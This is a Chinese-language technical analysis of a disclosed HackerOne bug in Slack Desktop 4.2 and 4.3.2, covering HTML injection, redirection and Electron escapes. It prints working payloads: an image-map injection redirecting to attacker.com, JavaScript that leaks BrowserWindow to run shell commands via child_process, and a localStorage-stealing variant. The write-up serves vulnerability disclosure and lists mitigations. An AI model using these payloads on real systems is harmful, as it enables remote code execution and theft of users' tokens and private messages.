Hackerone:利用 Slack Desktop 的跳转漏洞实现 RCE
字数 1594 2025-08-20 18:17:47

Slack Desktop 跳转漏洞实现 RCE 技术分析

漏洞概述

本漏洞利用 Slack Desktop 应用中的跳转漏洞实现远程代码执行(RCE),影响 Slack Desktop 4.2 和 4.3.2 版本(跨平台:Mac/Windows/Linux)。攻击者可以通过多种方式(HTML注入、应用内重定向等)在受害者机器上执行任意命令。

漏洞前提条件

  1. 存在以下任意一种漏洞利用入口:

    • 应用内重定向登录/开放式重定向
    • HTML注入
    • JavaScript注入
  2. 攻击者需要拥有一个启用HTTPS的服务器来托管恶意payload

技术细节与复现步骤

攻击流程

  1. 攻击者准备阶段:

    • 在HTTPS服务器上上传RCE payload文件
    • 准备带有HTML注入的Slack Post
    • 将Post分享到频道或直接分享给目标用户
  2. 受害者交互阶段:

    • 用户在PC端点击被篡改的post文件
    • HTML将桌面应用重定向到攻击者控制的网站
    • 攻击者网站返回RCE JavaScript代码
    • 利用跳转漏洞绕过Slack桌面环境限制
    • 泄露Electron对象并执行任意命令

HTML注入方法

方法一:直接编辑Slack Post JSON结构

  1. 创建新的Slack Post时,会在 https://files.slack.com 生成包含以下结构的文件:

    {"full":"<p>content<\/p>","preview":"<p>content<\/p>"}
    
  2. 通过访问 /api/files.info 获取私有文件URL,格式为:

    https://files.slack.com/files-pri/{TEAM_ID}-{FILE_ID}/TITLE
    
  3. 编辑JSON结构的两种方式:

    • 通过Web UI直接编辑:
      https://{YOUR-TEAM-HOSTNAME}.slack.com/files/{YOUR-MEMBER-ID}/{FILE-ID}/title/edit
      
    • 通过上传JSON文件并修改文件类型:
      1. 上传payload.json文件
      2. 拦截/api/files.edit请求
      3. 修改filetype参数为docs

方法二:利用HTML注入payload

由于Slack对HTML标签有严格限制,开发了特殊的注入payload:


<map name="slack-img">
<area shape="rect" coords="10000,10000 0,0" href="https://attacker.com/t.html" target="_self">
</map>

注意

  • 必须使用Slack基础设施托管的图片
  • usemap属性引用图片
  • area标签实现点击重定向

RCE Exploit代码

攻击者网站上托管的利用代码:

<html>
<body>
<script>
  // 覆盖函数获取BrowserWindow对象
  window.desktop.delegate = {}
  window.desktop.delegate.canOpenURLInWindow = () => true
  window.desktop.window = {}
  window.desktop.window.open = () => 1
  bw = window.open('about:blank') // 泄露BrowserWindow类
  nbw = new bw.constructor({show: false, webPreferences: {nodeIntegration: true}}) // 创建带有nodeIntegration的新窗口
  nbw.loadURL('about:blank') // 加载URL以便交互
  nbw.webContents.executeJavaScript('this.require("child_process").exec("open /Applications/Calculator.app")') // 执行命令
</script>
</body>
</html>

平台适配

  • Windows: 替换命令为calc或其他有效命令
  • 测试方法: 在Slack Desktop开发者工具控制台中直接执行JavaScript代码

数据窃取变种

无需执行命令即可访问私有数据的payload:

<html>
<body>
<script>
  window.desktop.delegate = {}
  window.desktop.delegate.canOpenURLInWindow = () => true
  window.desktop.window = {}
  window.desktop.window.open = () => 1
  bw = window.open('about:blank')
  nbw = new bw.constructor({show: false}) // 不需要nodeIntegration
  nbw.loadURL('https://app.slack.com/robots.txt') // 获取用户完整环境
  nbw.webContents.executeJavaScript('alert(JSON.stringify(localStorage))')
</script>
</body>
</html>

备用payload存储方法:files.slack.com XSS

发现Slack服务器以明文存储电子邮件内容,可直接返回HTML而不强制下载:

  1. 使用电子邮件客户端发送包含payload的纯文本邮件
  2. 在Slack中通过"Open original"找到上传的HTML文件
  3. 或通过调用/api/files.info获取url_private链接

漏洞影响

  1. 远程代码执行:

    • 访问私有文件、密钥、密码和机密信息
    • 获取内部网络访问权限
  2. 数据泄露:

    • 访问所有私人对话和文件
    • 获取本地存储的所有令牌
  3. 蠕虫化可能性:

    • payload可设计为自动传播
  4. 其他风险:

    • files.slack.com上的XSS
    • 任意HTML内容注入(被Slack默认为可信)
    • 网络钓鱼攻击

缓解措施

  1. 及时更新Slack Desktop到最新版本

  2. 禁用或限制HTML内容在Slack中的渲染

  3. 实施更严格的CSP策略

  4. 对Electron应用进行安全加固:

    • 禁用不必要的Node.js集成
    • 限制BrowserWindow的创建和使用
  5. 加强输入验证和过滤:

    • 对用户提交的JSON内容进行严格验证
    • 过滤危险的HTML标签和属性

总结

该漏洞通过组合HTML注入和Electron安全缺陷,实现了在Slack Desktop应用中的远程代码执行。攻击者可以利用多种途径注入恶意代码,最终完全控制受害者的Slack客户端并访问所有私有数据。这凸显了富文本处理和Electron应用安全的重要性。

Slack Desktop 跳转漏洞实现 RCE 技术分析 漏洞概述 本漏洞利用 Slack Desktop 应用中的跳转漏洞实现远程代码执行(RCE),影响 Slack Desktop 4.2 和 4.3.2 版本(跨平台:Mac/Windows/Linux)。攻击者可以通过多种方式(HTML注入、应用内重定向等)在受害者机器上执行任意命令。 漏洞前提条件 存在以下任意一种漏洞利用入口: 应用内重定向登录/开放式重定向 HTML注入 JavaScript注入 攻击者需要拥有一个启用HTTPS的服务器来托管恶意payload 技术细节与复现步骤 攻击流程 攻击者准备阶段: 在HTTPS服务器上上传RCE payload文件 准备带有HTML注入的Slack Post 将Post分享到频道或直接分享给目标用户 受害者交互阶段: 用户在PC端点击被篡改的post文件 HTML将桌面应用重定向到攻击者控制的网站 攻击者网站返回RCE JavaScript代码 利用跳转漏洞绕过Slack桌面环境限制 泄露Electron对象并执行任意命令 HTML注入方法 方法一:直接编辑Slack Post JSON结构 创建新的Slack Post时,会在 https://files.slack.com 生成包含以下结构的文件: 通过访问 /api/files.info 获取私有文件URL,格式为: 编辑JSON结构的两种方式: 通过Web UI直接编辑: 通过上传JSON文件并修改文件类型: 上传 payload.json 文件 拦截 /api/files.edit 请求 修改 filetype 参数为 docs 方法二:利用HTML注入payload 由于Slack对HTML标签有严格限制,开发了特殊的注入payload: 注意 : 必须使用Slack基础设施托管的图片 usemap 属性引用图片 area 标签实现点击重定向 RCE Exploit代码 攻击者网站上托管的利用代码: 平台适配 : Windows: 替换命令为 calc 或其他有效命令 测试方法: 在Slack Desktop开发者工具控制台中直接执行JavaScript代码 数据窃取变种 无需执行命令即可访问私有数据的payload: 备用payload存储方法:files.slack.com XSS 发现Slack服务器以明文存储电子邮件内容,可直接返回HTML而不强制下载: 使用电子邮件客户端发送包含payload的纯文本邮件 在Slack中通过"Open original"找到上传的HTML文件 或通过调用 /api/files.info 获取 url_private 链接 漏洞影响 远程代码执行: 访问私有文件、密钥、密码和机密信息 获取内部网络访问权限 数据泄露: 访问所有私人对话和文件 获取本地存储的所有令牌 蠕虫化可能性: payload可设计为自动传播 其他风险: files.slack.com 上的XSS 任意HTML内容注入(被Slack默认为可信) 网络钓鱼攻击 缓解措施 及时更新Slack Desktop到最新版本 禁用或限制HTML内容在Slack中的渲染 实施更严格的CSP策略 对Electron应用进行安全加固: 禁用不必要的Node.js集成 限制 BrowserWindow 的创建和使用 加强输入验证和过滤: 对用户提交的JSON内容进行严格验证 过滤危险的HTML标签和属性 总结 该漏洞通过组合HTML注入和Electron安全缺陷,实现了在Slack Desktop应用中的远程代码执行。攻击者可以利用多种途径注入恶意代码,最终完全控制受害者的Slack客户端并访问所有私有数据。这凸显了富文本处理和Electron应用安全的重要性。